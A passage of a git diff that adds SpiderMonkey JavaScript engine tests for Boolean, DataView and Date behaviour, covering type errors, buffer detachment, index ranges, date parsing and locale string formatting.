+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(raisesException(TypeError)('Boolean.prototype.toString.call(42)'), true);
+assertEq(raisesException(TypeError)('Boolean.prototype.toString.call("")'), true);
+assertEq(raisesException(TypeError)('Boolean.prototype.toString.call({})'), true);
+assertEq(raisesException(TypeError)('Boolean.prototype.toString.call(null)'), true);
+assertEq(raisesException(TypeError)('Boolean.prototype.toString.call([])'), true);
+assertEq(raisesException(TypeError)('Boolean.prototype.toString.call(undefined)'), true);
+assertEq(raisesException(TypeError)('Boolean.prototype.toString.call(new String())'), true);
+
+assertEq(completesNormally('Boolean.prototype.toString.call(true)'), true);
+assertEq(completesNormally('Boolean.prototype.toString.call(new Boolean(true))'), true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/Boolean/browser.js b/js/src/tests/non262/Boolean/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Boolean/browser.js
diff --git a/js/src/tests/non262/Boolean/no-boolean-toJSON.js b/js/src/tests/non262/Boolean/no-boolean-toJSON.js
new file mode 100644
index 0000000000..e12c8049b0
--- /dev/null
+++ b/js/src/tests/non262/Boolean/no-boolean-toJSON.js
@@ -0,0 +1,17 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Author: Tom Schuster
+ */
+
+JSON.stringify(new Boolean(false), function(k, v) {
+ assertEq(typeof v, "object");
+});
+
+assertEq(Boolean.prototype.hasOwnProperty('toJSON'), false);
+
+Object.prototype.toJSON = function() { return 2; };
+assertEq(JSON.stringify(new Boolean(true)), "2");
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Boolean/shell.js b/js/src/tests/non262/Boolean/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Boolean/shell.js
diff --git a/js/src/tests/non262/DataView/browser.js b/js/src/tests/non262/DataView/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/DataView/browser.js
diff --git a/js/src/tests/non262/DataView/detach-after-construction.js b/js/src/tests/non262/DataView/detach-after-construction.js
new file mode 100644
index 0000000000..e767fcffae
--- /dev/null
+++ b/js/src/tests/non262/DataView/detach-after-construction.js
@@ -0,0 +1,9 @@
+var buf = new ArrayBuffer([1,2]);
+var bufView = new DataView(buf);
+
+detachArrayBuffer(buf);
+
+assertThrowsInstanceOf(() => bufView.getInt8(0), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/non262/DataView/get-set-index-range.js b/js/src/tests/non262/DataView/get-set-index-range.js
new file mode 100644
index 0000000000..4391591b67
--- /dev/null
+++ b/js/src/tests/non262/DataView/get-set-index-range.js
@@ -0,0 +1,36 @@
+var buffer = new ArrayBuffer(2);
+var view = new DataView(buffer);
+
+function check(view) {
+ for (let fun of ['getInt8', 'setInt8', 'getInt16', 'setInt16']) {
+ assertThrowsInstanceOf(() => view[fun](-10), RangeError);
+ assertThrowsInstanceOf(() => view[fun](-Infinity), RangeError);
+ assertThrowsInstanceOf(() => view[fun](Infinity), RangeError);
+
+ assertThrowsInstanceOf(() => view[fun](Math.pow(2, 53)), RangeError);
+ assertThrowsInstanceOf(() => view[fun](Math.pow(2, 54)), RangeError);
+ }
+}
+
+check(view);
+
+for (let fun of ['getInt8', 'getInt16']) {
+ assertEq(view[fun](0), 0);
+ assertEq(view[fun](undefined), 0);
+ assertEq(view[fun](NaN), 0);
+}
+
+if ('detachArrayBuffer' in this) {
+ // ToIndex is called before detachment check, so we can tell the difference
+ // between a ToIndex failure and a real out of bounds failure.
+ detachArrayBuffer(buffer);
+
+ check(view);
+
+ assertThrowsInstanceOf(() => view.getInt8(0), TypeError);
+ assertThrowsInstanceOf(() => view.setInt8(0, 0), TypeError);
+ assertThrowsInstanceOf(() => view.getInt8(Math.pow(2, 53) - 1), TypeError);
+ assertThrowsInstanceOf(() => view.setInt8(Math.pow(2, 53) - 1, 0), TypeError);
+}
+
+reportCompare(0, 0, 'OK');
diff --git a/js/src/tests/non262/DataView/getter-name.js b/js/src/tests/non262/DataView/getter-name.js
new file mode 100644
index 0000000000..600b7da8b3
--- /dev/null
+++ b/js/src/tests/non262/DataView/getter-name.js
@@ -0,0 +1,11 @@
+var BUGNUMBER = 1180290;
+var summary = 'DataView getters should have get prefix';
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(Object.getOwnPropertyDescriptor(DataView.prototype, "buffer").get.name, "get buffer");
+assertEq(Object.getOwnPropertyDescriptor(DataView.prototype, "byteLength").get.name, "get byteLength");
+assertEq(Object.getOwnPropertyDescriptor(DataView.prototype, "byteOffset").get.name, "get byteOffset");
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/DataView/shell.js b/js/src/tests/non262/DataView/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/DataView/shell.js
diff --git a/js/src/tests/non262/Date/15.9.4.2.js b/js/src/tests/non262/Date/15.9.4.2.js
new file mode 100644
index 0000000000..684f7638fd
--- /dev/null
+++ b/js/src/tests/non262/Date/15.9.4.2.js
@@ -0,0 +1,134 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 430930;
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function iso(d)
+{
+ return new Date(d).toISOString();
+}
+
+function check(s, millis){
+ description = "Date.parse('"+s+"') == '"+iso(millis)+"'";
+ expected = millis;
+ actual = Date.parse(s);
+ reportCompare(expected, actual, description);
+}
+
+function checkInvalid(s)
+{
+ description = "Date.parse('"+s+"') produces invalid date";
+ expected = NaN;
+ actual = Date.parse(s);
+ reportCompare(expected, actual, description);
+}
+
+function dd(year, month, day, hour, minute, second, millis){
+ return Date.UTC(year, month-1, day, hour, minute, second, millis);
+}
+
+function TZAtDate(d){
+ return d.getTimezoneOffset() * 60000;
+}
+
+function TZInMonth(month, year){
+ return TZAtDate(new Date(dd(year,month,1,0,0,0,0)));
+}
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+
+ Jan1970TZ = TZInMonth(1, 1970);
+ Jan2009TZ = TZInMonth(1, 2009);
+ Jul2009TZ = TZInMonth(7, 2009);
+ CurrTZ = TZAtDate(new Date());
+
+ // formats with explicit timezone
+ check("2009-07-23T19:53:21.001+12:00", dd(2009,7,23,7,53,21,1));
+ check("2009-07-23T19:53:21+12:00", dd(2009,7,23,7,53,21,0));
+ check("2009-07-23T19:53+12:00", dd(2009,7,23,7,53,0,0));
+
+ check("2009-07T19:53:21.001+12:00", dd(2009,7,1,7,53,21,1));
+ check("2009-07T19:53:21+12:00", dd(2009,7,1,7,53,21,0));
+ check("2009-07T19:53+12:00", dd(2009,7,1,7,53,0,0));
+
+ check("2009T19:53:21.001+12:00", dd(2009,1,1,7,53,21,1));
+ check("2009T19:53:21+12:00", dd(2009,1,1,7,53,21,0));
+ check("2009T19:53+12:00", dd(2009,1,1,7,53,0,0));
+
+ checkInvalid("T19:53:21.001+12:00");
+ checkInvalid("T19:53:21+12:00");
+ checkInvalid("T19:53+12:00");
+
+ // formats without timezone uses the timezone as at that date
+ check("2009-07-23T19:53:21.001", dd(2009,7,23,19,53,21,1)+Jul2009TZ);
+ check("2009-07-23T19:53:21", dd(2009,7,23,19,53,21,0)+Jul2009TZ);
+ check("2009-07-23T19:53", dd(2009,7,23,19,53,0,0)+Jul2009TZ);
+
+ check("2009-07T19:53:21.001", dd(2009,7,1,19,53,21,1)+Jul2009TZ);
+ check("2009-07T19:53:21", dd(2009,7,1,19,53,21,0)+Jul2009TZ);
+ check("2009-07T19:53", dd(2009,7,1,19,53,0,0)+Jul2009TZ);
+
+ check("2009T19:53:21.001", dd(2009,1,1,19,53,21,1)+Jan2009TZ);
+ check("2009T19:53:21", dd(2009,1,1,19,53,21,0)+Jan2009TZ);
+ check("2009T19:53", dd(2009,1,1,19,53,0,0)+Jan2009TZ);
+
+ checkInvalid("T19:53:21.001");
+ checkInvalid("T19:53:21");
+ checkInvalid("T19:53");
+
+ // with no time at all assume UTC
+ check("2009-07-23", dd(2009,7,23,0,0,0,0));
+ check("2009-07", dd(2009,7,1,0,0,0,0));
+ check("2009", dd(2009,1,1,0,0,0,0));
+
+ // one field too big
+ checkInvalid("2009-13-23T19:53:21.001+12:00");
+ checkInvalid("2009-07-32T19:53:21.001+12:00");
+ checkInvalid("2009-07-23T25:53:21.001+12:00");
+ checkInvalid("2009-07-23T19:60:21.001+12:00");
+ checkInvalid("2009-07-23T19:53:60.001+12:00");
+ checkInvalid("2009-07-23T19:53:21.001+24:00");
+ checkInvalid("2009-07-23T19:53:21.001+12:60");
+
+ // other month ends
+ check("2009-06-30T19:53:21.001+12:00", dd(2009,6,30,7,53,21,1));
+ checkInvalid("2009-06-31T19:53:21.001+12:00");
+ check("2009-02-28T19:53:21.001+12:00", dd(2009,2,28,7,53,21,1));
+ checkInvalid("2009-02-29T19:53:21.001+12:00");
+ check("2008-02-29T19:53:21.001+12:00", dd(2008,2,29,7,53,21,1));
+ checkInvalid("2008-02-30T19:53:21.001+12:00");
+
+ // limits of representation
+ checkInvalid("-271821-04-19T23:59:59.999Z");
+ check("-271821-04-20", -8.64e15);
+ check("+275760-09-13", 8.64e15);
+ checkInvalid("+275760-09-13T00:00:00.001Z");
+
+ check("-269845-07-23T19:53:21.001+12:00", dd(-269845,7,23,7,53,21,1));
+ check("+273785-07-23T19:53:21.001+12:00", dd(273785,7,23,7,53,21,1));
+
+ // explicit UTC
+ check("2009-07-23T19:53:21.001Z", dd(2009,7,23,19,53,21,1));
+ check("+002009-07-23T19:53:21.001Z", dd(2009,7,23,19,53,21,1));
+
+ // different timezones
+ check("2009-07-23T19:53:21.001+12:00", dd(2009,7,23,7,53,21,1));
+ check("2009-07-23T00:53:21.001-07:00", dd(2009,7,23,7,53,21,1));
+
+ // 00:00 and 24:00
+ check("2009-07-23T00:00:00.000-07:00", dd(2009,7,23,7,0,0,0));
+ check("2009-07-23T24:00:00.000-07:00", dd(2009,7,24,7,0,0,0));
+
+ // Bug 730838 - non-zero fraction part for midnight should produce NaN
+ checkInvalid("1970-01-01T24:00:00.500Z");
+}
diff --git a/js/src/tests/non262/Date/15.9.5.5-02.js b/js/src/tests/non262/Date/15.9.5.5-02.js
new file mode 100644
index 0000000000..07623e675c
--- /dev/null
+++ b/js/src/tests/non262/Date/15.9.5.5-02.js
@@ -0,0 +1,63 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 398485;
+var summary = 'Date.prototype.toLocaleString should not clamp year';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var d;
+ var y;
+ var l;
+ var maxms = 8640000000000000;
+
+ d = new Date(-maxms );
+ y = d.getFullYear();
+
+ actual = y;
+ expect = -271821;
+ reportCompare(expect, actual, summary + ': check year');
+
+ l = d.toLocaleString();
+ print(l);
+ if (this.hasOwnProperty("Intl")) {
+ // ECMA-402 specifies that toLocaleString uses a proleptic Gregorian
+ // calender without year 0.
+ // Also, localized strings usually use era indicators such as "BC"
+ // instead of minus signs.
+ expect = Math.abs(y - 1) + '';
+ } else {
+ // ECMA-262 up to edition 5.1 didn't specify toLocaleString;
+ // the previous implementation assumed a calendar with year 0 and used
+ // minus sign.
+ expect = y + '';
+ }
+ actual = l.match(/-?[0-9]{3,}/) + '';
+ reportCompare(expect, actual, summary + ': check toLocaleString');
+
+ d = new Date(maxms );
+ y = d.getFullYear();
+ l = d.toLocaleString();
+ print(l);
+
+ actual = y;
+ expect = 275760;
+ reportCompare(expect, actual, summary + ': check year');
+
+ actual = l.match(new RegExp(y)) + '';
+ expect = y + '';
+ reportCompare(expect, actual, summary + ': check toLocaleString');
+}
diff --git a/js/src/tests/non262/Date/15.9.5.5.js b/js/src/tests/non262/Date/15.9.5.5.js
new file mode 100644
index 0000000000..1a21b33a63
--- /dev/null
+++ b/js/src/tests/non262/Date/15.9.5.5.js
@@ -0,0 +1,111 @@
+// |reftest| random-if(xulRuntime.OS=="Linux")
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.5.js
+ ECMA Section: 15.9.5.5 Date.prototype.toLocaleString()
+ Description:
+ This function returns a string value. The contents of the string are
+ implementation dependent, but are intended to represent the "date"
+ portion of the Date in the current time zone in a convenient,
+ human-readable form. We can't test the content of the string,
+ but can verify that the string is parsable by Date.parse
+
+ The toLocaleString function is not generic; it generates a runtime error
+ if its 'this' value is not a Date object. Therefore it cannot be transferred
+ to other kinds of objects for use as a method.
+
+ Note: This test isn't supposed to work with a non-English locale per spec.
+
+ Author: pschwartau@netscape.com
+ Date: 14 november 2000
+*/
+
+var SECTION = "15.9.5.5";
+var TITLE = "Date.prototype.toLocaleString()";
+
+var status = '';
+var actual = '';
+var expect = '';
+
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var now = new Date();
+
+// first, some generic tests -
+
+status = "typeof (now.toLocaleString())";
+actual = typeof (now.toLocaleString());
+expect = "string";
+addTestCase();
+
+status = "Date.prototype.toLocaleString.length";
+actual = Date.prototype.toLocaleString.length;
+expect = 0;
+addTestCase();
+
+// Date.parse is accurate to the second; valueOf() to the millisecond -
+status = "Math.abs(Date.parse(now.toLocaleString('en-US')) - now.valueOf()) < 1000";
+actual = Math.abs(Date.parse(now.toLocaleString('en-US')) - now.valueOf()) < 1000;
+expect = true;
+addTestCase();
+
+
+
+// 1970
+addDateTestCase(0);
+addDateTestCase(TZ_ADJUST);
+
+
+// 1900
+addDateTestCase(UTC_01_JAN_1900);
+addDateTestCase(UTC_01_JAN_1900 -TZ_ADJUST);
+
+
+// 2000
+addDateTestCase(UTC_01_JAN_2000);
+addDateTestCase(UTC_01_JAN_2000 -TZ_ADJUST);
+
+
+// 29 Feb 2000
+addDateTestCase(UTC_29_FEB_2000);
+addDateTestCase(UTC_29_FEB_2000 - 1000);
+addDateTestCase(UTC_29_FEB_2000 - TZ_ADJUST);
+
+
+// 2005
+addDateTestCase(UTC_01_JAN_2005);
+addDateTestCase(UTC_01_JAN_2005 - 1000);
+addDateTestCase(UTC_01_JAN_2005-TZ_ADJUST);
+
+
+
+//-----------------------------------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------------------------------
+
+
+function addTestCase()
+{
+ AddTestCase(
+ status,
+ expect,
+ actual);
+}
+
+
+function addDateTestCase(date_given_in_milliseconds)
+{
+ var givenDate = new Date(date_given_in_milliseconds);
+
+ status = 'Date.parse(' + givenDate + ').toLocaleString("en-US"))';
+ actual = Date.parse(givenDate.toLocaleString("en-US"));
+ expect = date_given_in_milliseconds;
+ addTestCase();
+}
+
diff --git a/js/src/tests/non262/Date/15.9.5.6.js b/js/src/tests/non262/Date/15.9.5.6.js
new file mode 100644
index 0000000000..67e67630ec
--- /dev/null
+++ b/js/src/tests/non262/Date/15.9.5.6.js
@@ -0,0 +1,118 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.6.js
+ ECMA Section: 15.9.5.6 Date.prototype.toLocaleDateString()
+ Description:
+ This function returns a string value. The contents of the string are
+ implementation dependent, but are intended to represent the "date"
+ portion of the Date in the current time zone in a convenient,
+ human-readable form. We can't test the content of the string,
+ but can verify that the string is parsable by Date.parse
+
+ The toLocaleDateString function is not generic; it generates a runtime error
+ if its 'this' value is not a Date object. Therefore it cannot be transferred
+ to other kinds of objects for use as a method.
+
+ Note: This test isn't supposed to work with a non-English locale per spec.
+
+ Author: pschwartau@netscape.com
+ Date: 14 november 2000
+*/
+
+var SECTION = "15.9.5.6";
+var TITLE = "Date.prototype.toLocaleDateString()";
+
+var status = '';
+var actual = '';
+var expect = '';
+
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var now = new Date();
+
+// first, some generic tests -
+
+status = "typeof (now.toLocaleDateString())";
+actual = typeof (now.toLocaleDateString());
+expect = "string";
+addTestCase();
+
+status = "Date.prototype.toLocaleDateString.length";
+actual = Date.prototype.toLocaleDateString.length;
+expect = 0;
+addTestCase();
+
+/* Date.parse is accurate to the second; valueOf() to the millisecond.
+ Here we expect them to coincide, as we expect a time of exactly midnight - */
+status = "(Date.parse(now.toLocaleDateString('en-US')) - (midnight(now)).valueOf()) == 0";
+actual = (Date.parse(now.toLocaleDateString('en-US')) - (midnight(now)).valueOf()) == 0;
+expect = true;
+addTestCase();
+
+
+
+// 1970
+addDateTestCase(0);
+addDateTestCase(TZ_ADJUST);
+
+
+// 1900
+addDateTestCase(UTC_01_JAN_1900);
+addDateTestCase(UTC_01_JAN_1900 - TZ_ADJUST);
+
+
+// 2000
+addDateTestCase(UTC_01_JAN_2000);
+addDateTestCase(UTC_01_JAN_2000 - TZ_ADJUST);
+
+
+// 29 Feb 2000
+addDateTestCase(UTC_29_FEB_2000);
+addDateTestCase(UTC_29_FEB_2000 - 1000);
+addDateTestCase(UTC_29_FEB_2000 - TZ_ADJUST);
+
+
+// 2005
+addDateTestCase(UTC_01_JAN_2005);
+addDateTestCase(UTC_01_JAN_2005 - 1000);
+addDateTestCase(UTC_01_JAN_2005 - TZ_ADJUST);
+
+
+
+//-----------------------------------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------------------------------
+
+
+function addTestCase()
+{
+ new TestCase(
+ status,
+ expect,
+ actual);
+}
+
+
+function addDateTestCase(date_given_in_milliseconds)
+{
+ var givenDate = new Date(date_given_in_milliseconds);
+
+ status = 'Date.parse(' + givenDate + ').toLocaleDateString("en-US"))';
+ actual = Date.parse(givenDate.toLocaleDateString("en-US"));
+ expect = Date.parse(midnight(givenDate));
+ addTestCase();
+}
+
+
+function midnight(givenDate)
+{
+ // midnight on the given date -
+ return new Date(givenDate.getFullYear(), givenDate.getMonth(), givenDate.getDate());
+}
+
diff --git a/js/src/tests/non262/Date/15.9.5.7.js b/js/src/tests/non262/Date/15.9.5.7.js
new file mode 100644
index 0000000000..61ebf72fee
--- /dev/null
+++ b/js/src/tests/non262/Date/15.9.5.7.js
@@ -0,0 +1,111 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/**
+ File Name: 15.9.5.7.js
+ ECMA Section: 15.9.5.7 Date.prototype.toLocaleTimeString()
+ Description:
+ This function returns a string value. The contents of the string are
+ implementation dependent, but are intended to represent the "time"
+ portion of the Date in the current time zone in a convenient,
+ human-readable form. We test the content of the string by checking
+ that
+
+ new Date(d.toDateString() + " " + d.toLocaleTimeString()) == d
+
+ Author: pschwartau@netscape.com
+ Date: 14 november 2000
+ Revised: 07 january 2002 because of a change in JS Date format:
+ Revised: 21 November 2005 since the string comparison stuff is horked.
+ bclary
+
+ See http://bugzilla.mozilla.org/show_bug.cgi?id=118266 (SpiderMonkey)
+ See http://bugzilla.mozilla.org/show_bug.cgi?id=118636 (Rhino)
+*/
+//-----------------------------------------------------------------------------
+var SECTION = "15.9.5.7";
+var TITLE = "Date.prototype.toLocaleTimeString()";
+
+var status = '';
+var actual = '';
+var expect = '';
+var givenDate;
+var year = '';
+var regexp = '';
+var TimeString = '';
+var reducedDateString = '';
+var hopeThisIsLocaleTimeString = '';
+var cnERR ='OOPS! FATAL ERROR: no regexp match in extractLocaleTimeString()';
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var now = new Date();
+
+// valueOf() is to accurate to the millisecond,
+// Date.parse() is accurate only to the second
+var TIME_NOW = now.valueOf();
+
+// first, a couple generic tests -
+
+status = "typeof (now.toLocaleTimeString())";
+actual = typeof (now.toLocaleTimeString());
+expect = "string";
+addTestCase();
+
+status = "Date.prototype.toLocaleTimeString.length";
+actual = Date.prototype.toLocaleTimeString.length;
+expect = 0;
+addTestCase();
+
+// 1970
+addDateTestCase(0);
+addDateTestCase(TZ_ADJUST);
+
+// 1900
+addDateTestCase(UTC_01_JAN_1900);
+addDateTestCase(UTC_01_JAN_1900 - TZ_ADJUST);
+
+// 2000
+addDateTestCase(UTC_01_JAN_2000);
+addDateTestCase(UTC_01_JAN_2000 - TZ_ADJUST);
+
+// 29 Feb 2000
+addDateTestCase(UTC_29_FEB_2000);
+addDateTestCase(UTC_29_FEB_2000 - 1000);
+addDateTestCase(UTC_29_FEB_2000 - TZ_ADJUST);
+
+// Now
+addDateTestCase( TIME_NOW);
+addDateTestCase( TIME_NOW - TZ_ADJUST);
+
+// 2005
+addDateTestCase(UTC_01_JAN_2005);
+addDateTestCase(UTC_01_JAN_2005 - 1000);
+addDateTestCase(UTC_01_JAN_2005 - TZ_ADJUST);
+
+test();
+
+function addTestCase()
+{
+ new TestCase(
+ status,
+ expect,
+ actual);
+}
+
+
+function addDateTestCase(date_given_in_milliseconds)
+{
+ var s = 'new Date(' + date_given_in_milliseconds + ')';
+ givenDate = new Date(date_given_in_milliseconds);
+
+ status = 'd = ' + s +
+ '; d == new Date(d.toDateString() + " " + d.toLocaleTimeString())';
+ expect = givenDate.toString();
+ actual = new Date(givenDate.toDateString() +
+ ' ' + givenDate.toLocaleTimeString()).toString();
+ addTestCase();
+}
+
diff --git a/js/src/tests/non262/Date/UTC-convert-all-arguments.js b/js/src/tests/non262/Date/UTC-convert-all-arguments.js
new file mode 100644
index 0000000000..2fee8b951d
--- /dev/null
+++ b/js/src/tests/non262/Date/UTC-convert-all-arguments.js
@@ -0,0 +1,70 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 1160356;
+var summary =
+ "Date.UTC must convert *all* arguments to number, not return NaN early if " +
+ "a non-finite argument is encountered";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function expectThrowTypeError(f, i)
+{
+ try
+ {
+ f();
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e, 42, "index " + i + ": expected 42, got " + e);
+ }
+}
+
+var bad =
+ { toString: function() { throw 17; }, valueOf: function() { throw 42; } };
+
+var args =
+ [
+ [bad],
+
+ [NaN, bad],
+ [Infinity, bad],
+ [1970, bad],
+
+ [1970, NaN, bad],
+ [1970, Infinity, bad],
+ [1970, 4, bad],
+
+ [1970, 4, NaN, bad],
+ [1970, 4, Infinity, bad],
+ [1970, 4, 17, bad],
+
+ [1970, 4, 17, NaN, bad],
+ [1970, 4, 17, Infinity, bad],
+ [1970, 4, 17, 13, bad],
+
+ [1970, 4, 17, 13, NaN, bad],
+ [1970, 4, 17, 13, Infinity, bad],
+ [1970, 4, 17, 13, 37, bad],
+
+ [1970, 4, 17, 13, 37, NaN, bad],
+ [1970, 4, 17, 13, 37, Infinity, bad],
+ [1970, 4, 17, 13, 37, 23, bad],
+ ];
+
+for (var i = 0, len = args.length; i < len; i++)
+ expectThrowTypeError(function() { Date.UTC.apply(null, args[i]); }, i);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Date/browser.js b/js/src/tests/non262/Date/browser.js
new file mode 100644
index 0000000000..e2c7f6d317
--- /dev/null
+++ b/js/src/tests/non262/Date/browser.js
@@ -0,0 +1,12 @@
+if (typeof getDefaultLocale === "undefined") {
+ var getDefaultLocale = SpecialPowers.Cu.getJSTestingFunctions().getDefaultLocale;
+}
+if (typeof setDefaultLocale === "undefined") {
+ var setDefaultLocale = SpecialPowers.Cu.getJSTestingFunctions().setDefaultLocale;
+}
+if (typeof getTimeZone === "undefined") {
+ var getTimeZone = SpecialPowers.Cu.getJSTestingFunctions().getTimeZone;
+}
+if (typeof setTimeZone === "undefined") {
+ var setTimeZone = SpecialPowers.Cu.getJSTestingFunctions().setTimeZone;
+}
diff --git a/js/src/tests/non262/Date/constructor-convert-all-arguments.js b/js/src/tests/non262/Date/constructor-convert-all-arguments.js
new file mode 100644
index 0000000000..3a281cae22
--- /dev/null
+++ b/js/src/tests/non262/Date/constructor-convert-all-arguments.js
@@ -0,0 +1,70 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 1160356;
+var summary =
+ "new Date(...) must convert *all* arguments to number, not return NaN " +
+ "early if a non-finite argument is encountered";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function expectThrowTypeError(f, i)
+{
+ try
+ {
+ f();
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e, 42, "index " + i + ": expected 42, got " + e);
+ }
+}
+
+var bad =
+ { toString: function() { throw 17; }, valueOf: function() { throw 42; } };
+
+var funcs =
+ [
+ function() { new Date(bad); },
+
+ function() { new Date(NaN, bad); },
+ function() { new Date(Infinity, bad); },
+ function() { new Date(1970, bad); },
+
+ function() { new Date(1970, NaN, bad); },
+ function() { new Date(1970, Infinity, bad); },
+ function() { new Date(1970, 4, bad); },
+
+ function() { new Date(1970, 4, NaN, bad); },
+ function() { new Date(1970, 4, Infinity, bad); },
+ function() { new Date(1970, 4, 17, bad); },
+
+ function() { new Date(1970, 4, 17, NaN, bad); },
+ function() { new Date(1970, 4, 17, Infinity, bad); },
+ function() { new Date(1970, 4, 17, 13, bad); },
+
+ function() { new Date(1970, 4, 17, 13, NaN, bad); },
+ function() { new Date(1970, 4, 17, 13, Infinity, bad); },
+ function() { new Date(1970, 4, 17, 13, 37, bad); },
+
+ function() { new Date(1970, 4, 17, 13, 37, NaN, bad); },
+ function() { new Date(1970, 4, 17, 13, 37, Infinity, bad); },
+ function() { new Date(1970, 4, 17, 13, 37, 23, bad); },
+ ];
+
+for (var i = 0, len = funcs.length; i < len; i++)
+ expectThrowTypeError(funcs[i]);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Date/constructor-one-Date-argument.js b/js/src/tests/non262/Date/constructor-one-Date-argument.js
new file mode 100644
index 0000000000..718c413731
--- /dev/null
+++ b/js/src/tests/non262/Date/constructor-one-Date-argument.js
@@ -0,0 +1,40 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 1187233;
+var summary =
+ "Passing a Date object to |new Date()| should copy it, not convert it to " +
+ "a primitive and create it from that.";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+Date.prototype.toString = Date.prototype.valueOf = null;
+var d = new Date(new Date(8675309));
+assertEq(d.getTime(), 8675309);
+
+Date.prototype.valueOf = () => 42;
+d = new Date(new Date(8675309));
+assertEq(d.getTime(), 8675309);
+
+var D = newGlobal().Date;
+
+D.prototype.toString = D.prototype.valueOf = null;
+var d = new Date(new D(3141592654));
+assertEq(d.getTime(), 3141592654);
+
+D.prototype.valueOf = () => 525600;
+d = new Date(new D(3141592654));
+assertEq(d.getTime(), 3141592654);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Date/constructor-one-argument.js b/js/src/tests/non262/Date/constructor-one-argument.js
new file mode 100644
index 0000000000..d7acd33aad
--- /dev/null
+++ b/js/src/tests/non262/Date/constructor-one-argument.js
@@ -0,0 +1,26 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 738511;
+var summary =
+ "new Date(value) should call ToPrimitive on value before testing for " +
+ "string-ness";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(new Date(new String("2012-01-31T00:00:00.000Z")).valueOf(),
+ 1327968000000,
+ "Date constructor passed a String object should parse it");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Date/dashed-date.js b/js/src/tests/non262/Date/dashed-date.js
new file mode 100644
index 0000000000..a1babf991e
--- /dev/null
+++ b/js/src/tests/non262/Date/dashed-date.js
@@ -0,0 +1,118 @@
+const tests = [
+ // ==== Date only ====
+
+ // dd-MMM-yyyy
+ ["24-Apr-2023", "2023-04-24T00:00:00"],
+ ["24-apr-2023", "2023-04-24T00:00:00"],
+ ["24-April-2023", "2023-04-24T00:00:00"],
+ ["24-APRIL-2023", "2023-04-24T00:00:00"],
